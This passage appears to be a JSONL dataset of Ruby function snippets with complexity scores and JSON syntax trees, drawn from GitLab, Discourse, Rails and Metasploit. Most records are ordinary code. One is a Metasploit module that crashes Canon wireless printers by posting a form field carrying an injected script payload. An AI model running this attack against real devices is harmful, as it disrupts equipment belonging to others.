{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/markdown/attachment.rb","start_line":87,"raw_source":"def whitelisted_type?(url, web_endpoint, docs: false, media: false)\n            if media\n              # We do not know the file extension type from the /assets markdown\n              return true if url.start_with?(web_endpoint)\n\n              MEDIA_TYPES.any? { |type| url.end_with?(type) }\n            elsif docs\n              DOC_TYPES.any? { |type| url.end_with?(type) }\n            end\n          end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"whitelisted_type?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"web_endpoint\"]},{\"type\":\"kwoptarg\",\"children\":[\"docs\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"media\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"web_endpoint\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MEDIA_TYPES\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"docs\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DOC_TYPES\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},null]}]}]}","id":"efadca3e-5ef9-4231-bead-9896b0aec268"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/batched_migration_runner.rb","start_line":151,"raw_source":"def adjust_migration(active_migration)\n          signals = Gitlab::Database::HealthStatus.evaluate(active_migration.health_context)\n\n          if signals.any?(&:stop?)\n            active_migration.hold!\n          else\n            active_migration.optimize!\n          end\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"adjust_migration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"active_migration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"signals\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"HealthStatus\"]},\"evaluate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_migration\"]},\"health_context\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signals\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_migration\"]},\"hold!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_migration\"]},\"optimize!\"]}]}]}]}","id":"87ef36ca-4e2b-4931-8be1-64969cd1fc5d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/shrink_uploaded_image.rb","start_line":222,"raw_source":"def log(*args)\n    puts(*args) if @verbose\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@verbose\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},null]}]}","id":"dbb2923a-9b22-48a1-8ef0-924d0736a11d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/http_crawler.rb","start_line":269,"raw_source":"def crawler_options(t)\n    opts = {}\n    opts[:user_agent]      = datastore['UserAgent']\n    opts[:ssl_server_name_indication] = datastore['SSLServerNameIndication']\n    opts[:verbose]         = false\n    opts[:threads]         = max_crawl_threads\n    opts[:obey_robots_txt] = false\n    opts[:redirect_limit]  = datastore['RedirectLimit']\n    opts[:retry_limit]     = datastore['RetryLimit']\n    opts[:accept_cookies]  = true\n    opts[:depth_limit]     = false\n    opts[:skip_query_strings]  = false\n    opts[:discard_page_bodies] = true\n    opts[:framework]           = framework\n    opts[:module]              = self\n    opts[:timeout]             = get_connection_timeout\n    opts[:dirbust]             = dirbust?\n    opts[:http_subscriber] = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: self)\n\n    if (t[:headers] and t[:headers].length > 0)\n      opts[:inject_headers] = t[:headers]\n    end\n\n    if t[:cookies]\n      opts[:cookies] = t[:cookies]\n    end\n\n    opts[:username] = t[:username] || ''\n    opts[:password] = t[:password] || ''\n    opts[:domain]   = t[:domain]   || 'WORKSTATION'\n\n    if ssl\n      opts[:ssl_version] = ssl_version\n    end\n    opts\n  end","complexity_score":57.7,"ast_json":"{\"type\":\"def\",\"children\":[\"crawler_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserAgent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssl_server_name_indication\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSLServerNameIndication\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"threads\"]},{\"type\":\"send\",\"children\":[null,\"max_crawl_threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"obey_robots_txt\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"redirect_limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RedirectLimit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"retry_limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetryLimit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"accept_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"depth_limit\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"skip_query_strings\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"discard_page_bodies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"framework\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"module\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[null,\"get_connection_timeout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"dirbust\"]},{\"type\":\"send\",\"children\":[null,\"dirbust?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"http_subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"HttpLoggerSubscriber\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"inject_headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cookies\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cookies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cookies\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"str\",\"children\":[\"WORKSTATION\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"send\",\"children\":[null,\"ssl_version\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"a5ff089b-27e5-4042-90d1-d62513f67925"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_identifier_names_of_vulnerability_reads_spec.rb","start_line":183,"raw_source":"def create_vulnerability_occurrence_identifier(overrides = {})\n    vulnerability_occurrence_identifiers.create!({\n      created_at: Time.now.utc,\n      updated_at: Time.now.utc,\n      occurrence_id: nil,\n      identifier_id: nil\n    }.merge(overrides))\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_vulnerability_occurrence_identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_occurrence_identifiers\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurrence_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier_id\"]},{\"type\":\"nil\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]}]}","id":"7854abd9-4522-47c3-9dc2-87225cbf837c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/feature_flag_user_xids_validator.rb","start_line":25,"raw_source":"def valid_xid?(user_xid)\n      user_xid.present? &&\n        user_xid.strip == user_xid &&\n        user_xid.length <= USERXID_MAX_LENGTH\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_xid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_xid\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_xid\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_xid\"]},\"strip\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"user_xid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_xid\"]},\"length\"]},\"<=\",{\"type\":\"const\",\"children\":[null,\"USERXID_MAX_LENGTH\"]}]}]}]}","id":"e4d5f846-af00-45c5-9186-2e1bff0540bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/canon_wireless_printer.rb","start_line":48,"raw_source":"def run\n    begin\n      # The first request will set the new IP\n      send_request_cgi({\n        'method'\t=>\t'POST',\n        'uri'\t=>\t'/English/pages_MacUS/cgi_lan.cgi',\n        'data'\t=>\t'OK.x=61' \\\n          '&OK.y=12' \\\n          '&LAN_OPT1=2' \\\n          '&LAN_TXT1=Wireless' \\\n          '&LAN_OPT3=1' \\\n          '&LAN_TXT21=192' \\\n          '&LAN_TXT22=168' \\\n          '&LAN_TXT23=1' \\\n          '&LAN_TXT24=114\"><script>alert(\\'xss\\');</script>' \\\n          '&LAN_TXT31=255' \\\n          '&LAN_TXT32=255' \\\n          '&LAN_TXT33=255' \\\n          '&LAN_TXT34=0' \\\n          '&LAN_TXT41=192' \\\n          '&LAN_TXT42=168' \\\n          '&LAN_TXT43=1' \\\n          '&LAN_TXT44=1' \\\n          '&LAN_OPT2=4' \\\n          '&LAN_OPT4=1' \\\n          '&LAN_HID1=1'\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\n      print_error(\"Couldn't connect to #{rhost}:#{rport}\")\n      return\n    end\n\n    # The second request will load the network options page, which seems to trigger the DoS\n    send_request_cgi({\n      'method'\t=>\t'GET',\n      'uri'\t=>\t'/English/pages_MacUS/lan_set_content.html'\n    }, 5) # default timeout, we don't care about the response\n\n    # Check to see if it worked or not\n    if is_alive?\n      print_error(\"#{rhost}:#{rport} - Server is still alive\")\n    else\n      print_good(\"#{rhost}:#{rport} - Connection Refused: Success!\")\n    end\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/English/pages_MacUS/cgi_lan.cgi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OK.x=61\"]},{\"type\":\"str\",\"children\":[\"&OK.y=12\"]},{\"type\":\"str\",\"children\":[\"&LAN_OPT1=2\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT1=Wireless\"]},{\"type\":\"str\",\"children\":[\"&LAN_OPT3=1\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT21=192\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT22=168\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT23=1\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT24=114\\\"><script>alert('xss');</script>\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT31=255\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT32=255\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT33=255\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT34=0\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT41=192\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT42=168\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT43=1\"]},{\"type\":\"str\",\"children\":[\"&LAN_TXT44=1\"]},{\"type\":\"str\",\"children\":[\"&LAN_OPT2=4\"]},{\"type\":\"str\",\"children\":[\"&LAN_OPT4=1\"]},{\"type\":\"str\",\"children\":[\"&LAN_HID1=1\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't connect to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/English/pages_MacUS/lan_set_content.html\"]}]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_alive?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Server is still alive\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Connection Refused: Success!\"]}]}]}]}]}]}","id":"81571568-e176-43d5-8e19-2e59c4e87d40"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record.rb","start_line":593,"raw_source":"def self.all_open_transactions # :nodoc:\n    open_transactions = []\n    Base.connection_handler.each_connection_pool do |pool|\n      if active_connection = pool.active_connection\n        current_transaction = active_connection.current_transaction\n\n        if current_transaction.open? && current_transaction.joinable?\n          open_transactions << current_transaction\n        end\n      end\n    end\n    open_transactions\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all_open_transactions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"open_transactions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base\"]},\"connection_handler\"]},\"each_connection_pool\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"active_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"active_connection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_transaction\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_connection\"]},\"current_transaction\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_transaction\"]},\"open?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_transaction\"]},\"joinable?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"open_transactions\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"current_transaction\"]}]},null]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"open_transactions\"]}]}]}","id":"b22b6a8f-065d-47a3-ab72-6bbc557e736f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140905055251_rename_trust_level_badges.rb","start_line":16,"raw_source":"def down\n    rename 2, \"Member\", \"Regular User\"\n    rename 3, \"Regular\", \"Leader\"\n    rename 4, \"Leader\", \"Elder\"\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"str\",\"children\":[\"Member\"]},{\"type\":\"str\",\"children\":[\"Regular User\"]}]},{\"type\":\"send\",\"children\":[null,\"rename\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"str\",\"children\":[\"Regular\"]},{\"type\":\"str\",\"children\":[\"Leader\"]}]},{\"type\":\"send\",\"children\":[null,\"rename\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"str\",\"children\":[\"Leader\"]},{\"type\":\"str\",\"children\":[\"Elder\"]}]}]}]}","id":"026d0b38-1095-42ea-ad21-f56690d0c0b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/object_hierarchy.rb","start_line":188,"raw_source":"def base_and_descendants_cte(with_depth: false)\n      cte = SQL::RecursiveCTE.new(:base_and_descendants)\n\n      base_query = descendants_base.except(:order)\n      base_query = base_query.select(\"1 AS #{DEPTH_COLUMN}\", \"ARRAY[#{objects_table.name}.id] AS tree_path\", \"false AS tree_cycle\", base_query.default_select_columns) if with_depth\n\n      cte << base_query\n\n      # Recursively get all the descendants of the base set.\n      descendants_query = unscoped_model\n        .from(from_tables(cte))\n        .where(descendant_conditions(cte))\n        .except(:order)\n\n      if with_depth\n        quoted_objects_table_name = model.connection.quote_table_name(objects_table.name)\n\n        descendants_query = descendants_query.select(\n          cte.table[DEPTH_COLUMN] + 1,\n          \"tree_path || #{quoted_objects_table_name}.id\",\n          \"#{quoted_objects_table_name}.id = ANY(tree_path)\",\n          descendants_query.default_select_columns\n        ).where(cte.table[:tree_cycle].eq(false))\n      end\n\n      cte << descendants_query\n      cte\n    end","complexity_score":49.15,"ast_json":"{\"type\":\"def\",\"children\":[\"base_and_descendants_cte\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with_depth\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cte\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQL\"]},\"RecursiveCTE\"]},\"new\",{\"type\":\"sym\",\"children\":[\"base_and_descendants\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"descendants_base\"]},\"except\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_depth\"]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"1 AS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEPTH_COLUMN\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ARRAY[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"objects_table\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\".id] AS tree_path\"]}]},{\"type\":\"str\",\"children\":[\"false AS tree_cycle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]},\"default_select_columns\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cte\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"base_query\"]}]},{\"type\":\"lvasgn\",\"children\":[\"descendants_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unscoped_model\"]},\"from\",{\"type\":\"send\",\"children\":[null,\"from_tables\",{\"type\":\"lvar\",\"children\":[\"cte\"]}]}]},\"where\",{\"type\":\"send\",\"children\":[null,\"descendant_conditions\",{\"type\":\"lvar\",\"children\":[\"cte\"]}]}]},\"except\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_depth\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_objects_table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"connection\"]},\"quote_table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"objects_table\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"descendants_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"childre